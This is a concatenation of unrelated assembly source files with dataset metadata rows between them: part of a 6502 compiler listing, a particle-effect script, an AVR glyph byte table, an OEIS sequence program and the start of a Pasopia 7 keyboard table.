BF78: 20 49 80 744 BLKPR4 JSR GTOKEN
BF7B: 20 F2 BC 745 JSR BLOCK
BF7E: C6 25 746 DEC LEVEL
BF80: 20 55 80 747 JSR PULWRK
BF83: A5 3C 748 LDA WORK
BF85: 85 23 749 STA FRAME
BF87: A5 3D 750 LDA WORK+1
BF89: 85 24 751 STA FRAME+1
BF8B: 20 55 80 752 JSR PULWRK
BF8E: A5 3C 753 LDA WORK
BF90: 85 32 754 STA ENDSYM
BF92: A5 3D 755 LDA WORK+1
BF94: 85 33 756 STA ENDSYM+1
BF96: A9 3B 757 LDA #';'
BF98: A2 0A 758 LDX #10
BF9A: 20 BB BC 759 JSR CHKGET
BF9D: A2 E8 760 LDX #BLCKT3
BF9F: A0 BC 761 LDY #>BLCKT3
BFA1: 4C 55 BD 762 JMP BLK4
763 *
764 * BEGIN (COMPOUND STATEMENT)
765 *
BFA4: 20 49 80 766 BLKBEG JSR GTOKEN
BFA7: 20 55 80 767 JSR PULWRK
BFAA: A5 25 768 LDA LEVEL
BFAC: D0 06 769 BNE BLKB1
BFAE: 20 4F 80 770 BLKB3 JSR FIXAD
BFB1: 4C D0 BF 771 JMP BLKB2
BFB4: 20 01 8E 772 BLKB1 JSR WRKSYM
BFB7: A0 04 773 LDY #SYMDSP
BFB9: B1 4E 774 LDA (SYMITM),Y
BFBB: 85 3C 775 STA WORK
BFBD: C8 776 INY
BFBE: B1 4E 777 LDA (SYMITM),Y
BFC0: 85 3D 778 STA WORK+1
BFC2: A0 04 779 LDY #SYMDSP
BFC4: A5 26 780 LDA PCODE
BFC6: 91 4E 781 STA (SYMITM),Y
BFC8: A5 27 782 LDA PCODE+1
BFCA: C8 783 INY
BFCB: 91 4E 784 STA (SYMITM),Y
BFCD: 4C AE BF 785 JMP BLKB3
BFD0: A5 23 786 BLKB2 LDA FRAME
BFD2: 85 2E 787 STA OPND
BFD4: A5 24 788 LDA FRAME+1
BFD6: 85 2F 789 STA OPND+1
BFD8: A9 3B 790 LDA #59
BFDA: 20 85 80 791 JSR GENJMP
BFDD: 20 D4 8D 792 BLKB5 JSR STMNT
BFE0: A5 16 793 LDA TOKEN
BFE2: C9 3B 794 CMP #';'
BFE4: D0 06 795 BNE BLKB4
BFE6: 20 49 80 796 JSR GTOKEN
BFE9: 4C DD BF 797 JMP BLKB5
BFEC: A9 89 798 BLKB4 LDA #$89 ; END
BFEE: A2 11 799 LDX #17
BFF0: 20 BB BC 800 JSR CHKGET
BFF3: A9 29 801 LDA #41
BFF5: A6 25 802 LDX LEVEL
BFF7: D0 02 803 BNE BLKB6
BFF9: A9 11 804 LDA #17 ; STOP
805 TEST1 EQU *
BFFB: 4C 37 80 806 BLKB6 JMP GENNOP
807 *
BFFE: 00 809 BRK
--End assembly, 839 bytes, Errors: 0
| 47.825123
| 93
| 0.346372
|
132c6d613b2cc06154f724617b5576336ebaa1ce
| 325
|
asm
|
Assembly
|
base/particles/point.asm
|
BuckeyeSoftware/rex
|
a0380e2e3ce26e610b4c9fcbe0ece19ecc8c3531
|
[
"MIT"
] | 37
|
2019-02-17T06:31:22.000Z
|
2022-01-13T12:08:13.000Z
|
base/particles/point.asm
|
BuckeyeSoftware/rex
|
a0380e2e3ce26e610b4c9fcbe0ece19ecc8c3531
|
[
"MIT"
] | 47
|
2019-10-28T07:23:41.000Z
|
2020-07-25T22:36:16.000Z
|
base/particles/point.asm
|
BuckeyeSoftware/rex
|
a0380e2e3ce26e610b4c9fcbe0ece19ecc8c3531
|
[
"MIT"
] | 7
|
2019-03-03T12:08:52.000Z
|
2020-11-21T22:01:51.000Z
|
# Velocity
li %rv0, ${0.0, 0.0, 0.0, 0.0}
rnd %rs1
li %rs16, $10.0
mul %rs1, %rs1, %rs16
mov %cv0, %rv0
# Position
mov %cv2, %pv0 # rv0 = pv0
# Color
rnd %rv0
li %rs3, $1.0
mov %cv3, %rv0
# Life
rnd %rs0
li %rs1, $4.0
mul %rs0, %rs0, %rs1
mov %cs0, %rs0
# Size
rnd %rs0
li %rs1, $10.0
mul %rs0, %rs0, %rs1
mov %cs1, %rs0
| 12.5
| 30
| 0.569231
|
8dae6c86216ae3bfcb054db4600a57b4e5db9b5d
| 12,273
|
asm
|
Assembly
|
firmware/glyphs/glyphs8.asm
|
ddomurad/avrVideoCard
|
7722eb594e7ce289b65d97793411e8a3b33482a0
|
[
"MIT"
] | null | null | null |
firmware/glyphs/glyphs8.asm
|
ddomurad/avrVideoCard
|
7722eb594e7ce289b65d97793411e8a3b33482a0
|
[
"MIT"
] | null | null | null |
firmware/glyphs/glyphs8.asm
|
ddomurad/avrVideoCard
|
7722eb594e7ce289b65d97793411e8a3b33482a0
|
[
"MIT"
] | null | null | null |
.org 0x5000
.db 0x0, 0x0, 0x0, 0x5a, 0x60, 0x0, 0x39, 0x44, 0x0, 0x2
.db 0x3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x1c, 0x24, 0x42
.db 0xe7, 0xc3, 0x81, 0xc3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20
.db 0x0, 0x0, 0xc, 0xc, 0x18, 0x41, 0x10, 0xc6, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x22, 0x0, 0xe1, 0x1, 0x0, 0x0, 0x1, 0x1, 0x0, 0x78
.db 0x0, 0x0, 0x0, 0x8, 0x0, 0x6, 0x2, 0x1, 0x1, 0x0
.db 0x0, 0x3e, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7
.db 0x1c, 0x1c, 0x1c, 0x1c, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x1, 0x0, 0x18, 0x0, 0x0, 0xff, 0xe7, 0xc3, 0xe7
.db 0x42, 0x24, 0x7e, 0xbd, 0x7e, 0x66, 0xbb, 0xdb, 0x3c, 0x0
.db 0x3c, 0x0, 0xaa, 0x55, 0x0, 0x0, 0x0, 0x10, 0x10, 0x2c
.db 0x0, 0x0, 0x3e, 0x3e, 0x3e, 0x3e, 0x3e, 0x3e, 0x3e, 0x3e
.db 0x3e, 0x3e, 0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0x10
.db 0x0, 0x0, 0x10, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4, 0x20, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x3c, 0x3c, 0x3c, 0x3c, 0x3c, 0x3c, 0x3c, 0x3c
.db 0x3c, 0x3c, 0x3c, 0x3c, 0xff, 0x55, 0x55, 0xff, 0xff, 0xff
.db 0xff, 0xff, 0xff, 0xff, 0xff, 0x0, 0xfd, 0xdd, 0xdd, 0xff
.db 0xaa, 0xff, 0xff, 0xff, 0xfd, 0xdf, 0x71, 0xed, 0x0, 0xb0
.db 0xd, 0x0, 0x0, 0xff, 0xb0, 0xb0, 0xd, 0xd, 0x0, 0xff
.db 0xff, 0xb0, 0xd, 0x1, 0x80, 0x85, 0x7e, 0x7e, 0x7e, 0x7e
.db 0x7e, 0x7e, 0x00, 0x00, 0x00, 0x00
.org 0x5100
.db 0x1c, 0x1c, 0x0, 0x7e, 0xb6, 0x0, 0x7d, 0x7c, 0x0, 0x14
.db 0x24, 0x1c, 0x5d, 0x0, 0x0, 0x0, 0x28, 0x3e, 0x3c, 0x81
.db 0x3c, 0x7e, 0x42, 0xa5, 0x0, 0x0, 0x10, 0x3c, 0x14, 0x98
.db 0x0, 0x18, 0xc, 0xc, 0x18, 0x63, 0x30, 0xac, 0x36, 0x36
.db 0x36, 0x0, 0x2, 0x8, 0x28, 0x0, 0x0, 0x0, 0x2, 0x3
.db 0x5d, 0x0, 0x1a, 0x9, 0x6, 0x10, 0x22, 0x3, 0x1e, 0xf8
.db 0x0, 0x3c, 0xff, 0x1c, 0x0, 0xf, 0x3, 0x6, 0x2, 0x0
.db 0x0, 0x8, 0x0, 0x0, 0x8, 0x4, 0x8, 0x0, 0x0, 0x3
.db 0x22, 0x2a, 0x3a, 0x2e, 0x14, 0x8, 0x7e, 0x3c, 0x7, 0x8
.db 0x7, 0x1, 0x6, 0x14, 0x41, 0x1c, 0x81, 0x81, 0x81, 0xc3
.db 0xc3, 0x66, 0xc3, 0x24, 0x81, 0x81, 0x80, 0x81, 0x42, 0x0
.db 0x7e, 0x0, 0x1, 0x80, 0x3c, 0x42, 0x38, 0x30, 0x10, 0x2d
.db 0x0, 0x0, 0x7f, 0x7f, 0x7f, 0x7f, 0x77, 0x73, 0x77, 0x49
.db 0x55, 0x77, 0x0, 0x8, 0x0, 0x8, 0x0, 0x8, 0x0, 0x10
.db 0x0, 0x0, 0x10, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0xc
.db 0x8, 0x10, 0x18, 0x18, 0xc, 0x8, 0x4, 0x20, 0x0, 0x0
.db 0x14, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42
.db 0x42, 0x42, 0x42, 0x42, 0xff, 0xa2, 0xaa, 0xff, 0x0, 0xff
.db 0xff, 0xff, 0xff, 0xff, 0xff, 0x0, 0xff, 0xab, 0xbb, 0x0
.db 0x0, 0x0, 0x81, 0x0, 0xa0, 0xd9, 0xce, 0x80, 0x0, 0x30
.db 0xc, 0x0, 0x0, 0x0, 0xb0, 0x30, 0xc, 0xd, 0x0, 0x80
.db 0x1, 0xb0, 0xd, 0x2, 0x40, 0xa, 0x81, 0x81, 0x81, 0x81
.db 0x81, 0x81, 0x00, 0x00, 0x00, 0x00
.org 0x5200
.db 0x2a, 0x3e, 0x1c, 0x7e, 0x3d, 0x28, 0x55, 0x54, 0x24, 0x5e
.db 0x3c, 0x3e, 0x7f, 0x0, 0x0, 0x0, 0x78, 0x7f, 0x3c, 0xbd
.db 0x3c, 0x42, 0x24, 0x81, 0x0, 0x20, 0x3e, 0x6a, 0x1c, 0x54
.db 0xa, 0x3c, 0x18, 0x38, 0x70, 0x5d, 0x70, 0xa4, 0x49, 0x4f
.db 0x7f, 0x36, 0x5, 0x14, 0x44, 0x7e, 0x77, 0x14, 0x6, 0x7
.db 0x41, 0x3e, 0x44, 0x5, 0xe, 0x38, 0x44, 0x7, 0x39, 0xf8
.db 0x1e, 0x7e, 0x89, 0x3e, 0x8, 0xf, 0x1c, 0x7, 0x7, 0x3c
.db 0x3c, 0x1c, 0x0, 0x8, 0x0, 0x6, 0x8, 0x0, 0x0, 0x35
.db 0x22, 0x2a, 0x3a, 0x2e, 0x22, 0x1c, 0x0, 0x5e, 0xb, 0x0
.db 0x16, 0x3, 0x8, 0x14, 0x22, 0x22, 0x81, 0x81, 0x0, 0x81
.db 0x0, 0xe7, 0x81, 0xe7, 0x81, 0x81, 0x1, 0x0, 0x81, 0x18
.db 0xe7, 0x18, 0x80, 0x1, 0x42, 0x0, 0x3f, 0x3c, 0x1c, 0x3d
.db 0x0, 0x3e, 0x7f, 0x7f, 0x7f, 0x7f, 0x77, 0x7b, 0x77, 0x41
.db 0x41, 0x63, 0x0, 0x10, 0x0, 0x8, 0x8, 0x14, 0x0, 0x10
.db 0x8, 0x8, 0x10, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0x10
.db 0xc, 0x1c, 0x8, 0x1c, 0x8, 0x1c, 0x1c, 0xc, 0x14, 0x10
.db 0x10, 0x8, 0x10, 0x8, 0x14, 0x8, 0x8, 0x10, 0x0, 0x0
.db 0x3e, 0x0, 0x0, 0x4, 0x4, 0x8, 0x0, 0x1c, 0x8, 0x1c
.db 0x8, 0x8, 0xa5, 0xa5, 0xa5, 0xa5, 0xa5, 0xa5, 0xa5, 0xa5
.db 0xa5, 0x81, 0xa5, 0xa5, 0xff, 0x15, 0x55, 0x0, 0x55, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x77, 0x54, 0x77, 0x77
.db 0x77, 0x77, 0xb5, 0x3d, 0xc0, 0x13, 0xa0, 0x80, 0x0, 0xf0
.db 0xf, 0x0, 0x0, 0xff, 0xb0, 0xd0, 0xb, 0xd, 0x0, 0xbf
.db 0xfd, 0xb0, 0xd, 0x4, 0x20, 0x15, 0x81, 0xbd, 0x99, 0x99
.db 0xa1, 0xa5, 0x00, 0x00, 0x00, 0x00
.org 0x5300
.db 0x36, 0x3e, 0x3e, 0x5a, 0x7d, 0x3e, 0x7e, 0x7d, 0x1e, 0x95
.db 0x2a, 0x7f, 0x2a, 0x0, 0x0, 0x0, 0xae, 0x7f, 0x5a, 0x5a
.db 0x5a, 0x5a, 0x7e, 0x7e, 0x0, 0x10, 0x6d, 0x7e, 0xff, 0x3e
.db 0x2a, 0x34, 0x3c, 0x5c, 0xb4, 0x41, 0xfe, 0x58, 0x41, 0x47
.db 0x7f, 0x3e, 0x88, 0x3e, 0x54, 0x91, 0x8, 0x8, 0xa, 0x2a
.db 0x41, 0x22, 0x2a, 0xb, 0x1c, 0x38, 0x48, 0x2e, 0x49, 0x0
.db 0x3e, 0x7e, 0xff, 0x3e, 0x1c, 0x1e, 0x3c, 0xa, 0x4b, 0x99
.db 0x18, 0x8, 0x0, 0x8, 0x0, 0x5, 0xa, 0x4, 0x14, 0x48
.db 0x1c, 0x3e, 0x3e, 0x3e, 0x41, 0x3e, 0x7e, 0xff, 0x16, 0x8
.db 0x8, 0x7, 0x1c, 0x22, 0x14, 0x41, 0x81, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x81, 0x81, 0x81, 0x0, 0x81, 0x81, 0x81, 0x24
.db 0xdb, 0x3c, 0x1, 0x80, 0x42, 0x0, 0xbf, 0xbc, 0x5e, 0xbf
.db 0x0, 0x7e, 0x7f, 0x5f, 0x57, 0x55, 0x7f, 0x7f, 0x79, 0x63
.db 0x41, 0x77, 0xc, 0x18, 0x8, 0x18, 0x14, 0x10, 0xa, 0x18
.db 0x0, 0x0, 0x14, 0x8, 0x34, 0x18, 0x18, 0xc, 0x8, 0x4
.db 0xe, 0xc, 0x14, 0x14, 0x22, 0x14, 0x14, 0x38, 0x14, 0x8
.db 0x2, 0x4, 0x18, 0x10, 0x10, 0x4, 0x14, 0x14, 0x8, 0x8
.db 0x10, 0x8, 0x10, 0x8, 0x4, 0x8, 0x8, 0x10, 0x8, 0x8
.db 0x14, 0x0, 0x0, 0x0, 0x0, 0x1c, 0x1c, 0x0, 0x1c, 0x8
.db 0x18, 0xc, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81
.db 0xc3, 0xa5, 0xa5, 0x81, 0xff, 0xa8, 0xaa, 0xaa, 0xaa, 0x87
.db 0xe7, 0x81, 0x81, 0x80, 0x0, 0x0, 0xfe, 0xa, 0xee, 0xee
.db 0xee, 0xc2, 0xad, 0xa4, 0x80, 0xf0, 0x80, 0x0, 0x0, 0xf0
.db 0xf, 0x0, 0x0, 0xff, 0xb0, 0xe8, 0x17, 0xd, 0x0, 0xbf
.db 0xfd, 0xb0, 0xd, 0x8, 0x10, 0x2a, 0x81, 0xbd, 0xbd, 0xbd
.db 0xb1, 0x8d, 0x00, 0x00, 0x00, 0x00
.org 0x5400
.db 0x1c, 0x5d, 0x2a, 0x7e, 0xe8, 0x7f, 0x7d, 0xff, 0x15, 0x9e
.db 0x5e, 0x49, 0x3e, 0x18, 0x0, 0x0, 0x70, 0x41, 0xbd, 0x66
.db 0x7e, 0x42, 0xff, 0x5a, 0x20, 0x3c, 0x7f, 0xff, 0x7e, 0xb4
.db 0x41, 0x3c, 0x5c, 0x5a, 0x7a, 0x55, 0xc, 0x34, 0x22, 0x26
.db 0x3e, 0x1c, 0x50, 0x1c, 0xa2, 0xff, 0x1c, 0x1c, 0x54, 0x34
.db 0x41, 0x22, 0x12, 0x17, 0x3a, 0x38, 0x30, 0x1c, 0x47, 0x70
.db 0x5e, 0x7e, 0x91, 0x3e, 0x3e, 0x8, 0x3c, 0xd0, 0x34, 0x7e
.db 0x18, 0x8, 0x8, 0x36, 0x41, 0x5, 0x2a, 0x28, 0x8, 0x44
.db 0x8, 0x22, 0x22, 0x22, 0x22, 0x1c, 0x0, 0x81, 0x2e, 0x8
.db 0x3c, 0xf, 0x1c, 0x22, 0x8, 0x41, 0x81, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x81, 0x81, 0x81, 0x0, 0x81, 0x81, 0x81, 0x24
.db 0xdb, 0x3c, 0x80, 0x1, 0x42, 0x8, 0xbc, 0xbc, 0x3e, 0xfe
.db 0x0, 0x7e, 0x7f, 0x7f, 0x7f, 0x7f, 0x77, 0x77, 0x7f, 0x77
.db 0x41, 0x77, 0x14, 0x14, 0x10, 0x28, 0x18, 0x18, 0x14, 0x14
.db 0x8, 0x8, 0x18, 0x8, 0x2a, 0x14, 0x14, 0x14, 0x14, 0x8
.db 0xc, 0x8, 0x14, 0x14, 0x2a, 0x8, 0x14, 0x18, 0x14, 0x8
.db 0x4, 0x8, 0x28, 0x1c, 0x18, 0x8, 0x8, 0xc, 0x14, 0x4
.db 0x10, 0x8, 0x10, 0x8, 0x8, 0x8, 0x10, 0x8, 0x10, 0x4
.db 0x3e, 0x0, 0x4, 0x4, 0x4, 0x8, 0x0, 0x1c, 0x0, 0x0
.db 0x8, 0x8, 0xa5, 0xbd, 0xbd, 0x99, 0xb1, 0x99, 0x99, 0x95
.db 0x81, 0x81, 0xa5, 0x85, 0xff, 0x2, 0x55, 0x55, 0x55, 0x85
.db 0x95, 0xe1, 0x81, 0x7f, 0xff, 0xff, 0xff, 0x84, 0xdd, 0xdd
.db 0xdd, 0xd9, 0x99, 0xa5, 0x80, 0xc8, 0x40, 0x80, 0x0, 0x0
.db 0x0, 0xf0, 0xf, 0x0, 0xb0, 0x17, 0xe8, 0xd, 0xff, 0xb0
.db 0xd, 0xbf, 0xfd, 0x10, 0x8, 0x54, 0x81, 0xbd, 0x81, 0xbd
.db 0xb9, 0x95, 0x00, 0x00, 0x00, 0x00
.org 0x5500
.db 0x1c, 0x49, 0x3e, 0x7e, 0x7e, 0x7f, 0xfd, 0xfc, 0x9e, 0x60
.db 0x46, 0x6b, 0x55, 0x3c, 0xe, 0x1c, 0xd6, 0x77, 0x3c, 0x3c
.db 0x18, 0x7e, 0xdb, 0x66, 0x1c, 0x6a, 0x7f, 0xbf, 0x3c, 0xa1
.db 0x1e, 0x10, 0x5a, 0x18, 0xfc, 0x49, 0x18, 0x7e, 0x14, 0x14
.db 0x1c, 0x8, 0x20, 0x8, 0x8a, 0x95, 0x1c, 0x1c, 0x28, 0x18
.db 0x22, 0x22, 0x29, 0x2e, 0x7c, 0x0, 0x12, 0xa8, 0x43, 0x70
.db 0x5e, 0x7e, 0xff, 0x7f, 0x22, 0x20, 0x38, 0xa0, 0xf0, 0x5a
.db 0xbd, 0x3e, 0x0, 0x8, 0x0, 0x1d, 0x2a, 0x10, 0x14, 0x44
.db 0x3e, 0x22, 0x22, 0x22, 0x22, 0x1c, 0x7e, 0x81, 0x58, 0x8a
.db 0x7e, 0x1e, 0x3e, 0x77, 0x14, 0x41, 0x81, 0x81, 0x0, 0x81
.db 0x0, 0xe7, 0x81, 0xe7, 0x81, 0x81, 0x80, 0x0, 0x81, 0x18
.db 0xe7, 0x18, 0x1, 0x80, 0x7e, 0x40, 0xbc, 0xbc, 0x3e, 0x7e
.db 0x70, 0x7c, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e
.db 0x7e, 0x7e, 0xa, 0x18, 0x18, 0x14, 0xc, 0x10, 0xc, 0x14
.db 0x8, 0x8, 0x14, 0x8, 0x2a, 0x14, 0xc, 0x18, 0xc, 0x8
.db 0x1c, 0x4, 0xc, 0x8, 0x14, 0x14, 0x8, 0x1c, 0x14, 0x8
.db 0x8, 0x4, 0x3c, 0x4, 0x14, 0x10, 0x14, 0x4, 0xa, 0x18
.db 0x10, 0x8, 0x10, 0x8, 0x0, 0x0, 0x10, 0x8, 0x8, 0x8
.db 0x14, 0x8, 0x4, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x99, 0x99, 0x81, 0xa5, 0x81, 0x99, 0xbd, 0xa9
.db 0x99, 0x81, 0xa5, 0x9d, 0xff, 0x20, 0xaa, 0xaa, 0xaa, 0x99
.db 0x99, 0xbd, 0x81, 0x0, 0x0, 0x0, 0xff, 0xae, 0xbb, 0xbb
.db 0xbb, 0x9b, 0xb5, 0xbd, 0x80, 0x80, 0x40, 0x80, 0x0, 0x0
.db 0x0, 0xf0, 0xf, 0x0, 0xb0, 0xb, 0xd0, 0xd, 0xff, 0xb0
.db 0xd, 0xbf, 0xfd, 0x20, 0x4, 0xa8, 0x81, 0xbd, 0x81, 0x99
.db 0xbd, 0xbd, 0x00, 0x00, 0x00, 0x00
.org 0x5600
.db 0x0, 0x36, 0x2a, 0x66, 0x7c, 0x3e, 0x6d, 0x6c, 0x60, 0x7c
.db 0x3e, 0x7f, 0x14, 0x7c, 0x3f, 0x7e, 0xee, 0x77, 0x24, 0x66
.db 0xe7, 0x5a, 0x7e, 0x7e, 0x2a, 0x7e, 0x22, 0xf7, 0x10, 0x72
.db 0x3e, 0xc, 0x14, 0x24, 0x28, 0x22, 0x10, 0xc1, 0x8, 0x8
.db 0x8, 0x0, 0x0, 0x0, 0xfe, 0x91, 0x8, 0x8, 0x10, 0x2c
.db 0x14, 0x14, 0xc5, 0x40, 0x1c, 0x38, 0x4c, 0x48, 0x22, 0x1c
.db 0x3e, 0x42, 0xc9, 0x0, 0x41, 0xc0, 0xc0, 0x90, 0xa8, 0x3c
.db 0x7e, 0x1c, 0x0, 0x8, 0x0, 0x3c, 0x2a, 0x0, 0x0, 0x38
.db 0x1c, 0x22, 0x22, 0x22, 0x22, 0x1c, 0x0, 0x42, 0x60, 0x7d
.db 0x7e, 0x7e, 0x3e, 0x77, 0x22, 0x22, 0x81, 0x81, 0x81, 0xc3
.db 0xc3, 0x66, 0xc3, 0x24, 0x81, 0x81, 0x1, 0x81, 0x42, 0x0
.db 0x7e, 0x0, 0x80, 0x1, 0x3c, 0x2, 0x18, 0x18, 0x0, 0x0
.db 0x60, 0x60, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30
.db 0x30, 0x30, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x24, 0x0
.db 0x0, 0x8, 0x4, 0x0, 0x1, 0x2, 0x0, 0x10, 0x4, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0x0, 0x8, 0x8
.db 0xe, 0x18, 0x8, 0x18, 0x18, 0x10, 0x1c, 0x8, 0x0, 0x8
.db 0x8, 0x10, 0x18, 0x18, 0x8, 0x8, 0x20, 0x4, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42
.db 0x42, 0x42, 0x66, 0x42, 0xff, 0x4, 0x55, 0x55, 0x55, 0xa1
.db 0xa9, 0x83, 0xc1, 0x0, 0x0, 0x0, 0x77, 0x4, 0x77, 0x77
.db 0x77, 0x43, 0x81, 0x1, 0x0, 0xa0, 0x40, 0x0, 0x0, 0x0
.db 0x0, 0x30, 0xc, 0x0, 0xb0, 0xc, 0x30, 0xd, 0x0, 0xb0
.db 0xd, 0x80, 0x1, 0x40, 0x2, 0x50, 0x81, 0x81, 0x81, 0x81
.db 0x81, 0x81, 0x00, 0x00, 0x00, 0x00
.org 0x5700
.db 0x0, 0x2a, 0x0, 0x42, 0x42, 0x24, 0x45, 0x44, 0x54, 0xa4
.db 0x24, 0x22, 0x0, 0xee, 0xf7, 0xff, 0x9, 0x36, 0x42, 0xa5
.db 0x24, 0x24, 0xa5, 0x42, 0x1c, 0x3c, 0x22, 0xcf, 0x0, 0x3c
.db 0x77, 0x0, 0x24, 0x24, 0x48, 0x1c, 0x20, 0xbc, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0xfe, 0xff, 0x0, 0x0, 0x48, 0x40
.db 0x8, 0x8, 0x41, 0x80, 0xc, 0x0, 0x80, 0xb0, 0x1c, 0x6f
.db 0x1c, 0x3e, 0xff, 0x8, 0x41, 0x40, 0x40, 0xf0, 0xe0, 0x18
.db 0x3c, 0x8, 0x0, 0x0, 0x8, 0x18, 0x2a, 0x0, 0x0, 0x0
.db 0x8, 0x1c, 0x1c, 0x1c, 0x3e, 0x0, 0x0, 0x3c, 0x80, 0x3e
.db 0x3c, 0x3c, 0x1c, 0x22, 0x41, 0x1c, 0xff, 0xe7, 0xc3, 0xe7
.db 0x42, 0x24, 0x7e, 0xbd, 0x7e, 0x66, 0xdd, 0xdb, 0x3c, 0x0
.db 0x3c, 0x0, 0x55, 0xaa, 0x0, 0x0, 0x0, 0x0, 0x1e, 0x3c
.db 0x40, 0x40, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20
.db 0x20, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x18, 0x0
.db 0x0, 0x10, 0x6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x30, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x4, 0x0, 0x0
.db 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
.db 0x0, 0x0, 0x3c, 0x3c, 0x3c, 0x3c, 0x3c, 0x3c, 0x3c, 0x3c
.db 0x3c, 0x3c, 0x3c, 0x3c, 0xff, 0x0, 0xaa, 0xaa, 0xaa, 0xe1
.db 0xe7, 0x81, 0x7e, 0x0, 0x0, 0x0, 0xfe, 0x40, 0xee, 0xee
.db 0xee, 0xee, 0xff, 0xee, 0x80, 0xe0, 0x80, 0x80, 0x0, 0x0
.db 0x0, 0xb0, 0xd, 0x0, 0xb0, 0xd, 0xb0, 0xd, 0xff, 0xb0
.db 0xd, 0xff, 0xff, 0x80, 0x1, 0xa1, 0x7e, 0x7e, 0x7e, 0x7e
.db 0x7e, 0x7e, 0x00, 0x00, 0x00, 0x00
| 54.546667
| 62
| 0.646704
|
6b4cc399de185b5eef36cbf032c188c687985c78
| 445
|
asm
|
Assembly
|
programs/oeis/047/A047603.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/047/A047603.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/047/A047603.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A047603: Numbers that are congruent to {1, 2, 3, 4, 5} mod 8.
; 1,2,3,4,5,9,10,11,12,13,17,18,19,20,21,25,26,27,28,29,33,34,35,36,37,41,42,43,44,45,49,50,51,52,53,57,58,59,60,61,65,66,67,68,69,73,74,75,76,77,81,82,83,84,85,89,90,91,92,93,97,98,99,100,101,105,106,107,108,109,113,114,115,116,117,121,122,123,124,125,129,130,131,132,133,137,138,139,140,141,145,146,147,148,149,153,154,155,156,157
mov $1,$0
div $1,5
mul $1,3
add $0,$1
add $0,1
| 49.444444
| 332
| 0.667416
|
cd2fed394c09e258d3f5ef6be1320eacbdbd8c2c
| 3,725
|
asm
|
Assembly
|
libsrc/input/pasopia7/in_keytranstbl.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/input/pasopia7/in_keytranstbl.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/input/pasopia7/in_keytranstbl.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; This table translates key presses into ascii codes.
; Write to Z80PIO port a on port $30 to specify which bit of keyboard to read,
; -CCCRRRR
; C = bit set for chunks (0-3 = 1 << 4, 4-7 = 2 << 4,8-11 = 4 << 4)
; R = bit set for row wihtin chunk
; Read via Z80PIO port b on port $31
SECTION code_clib
PUBLIC in_getrow
PUBLIC in_rowtable
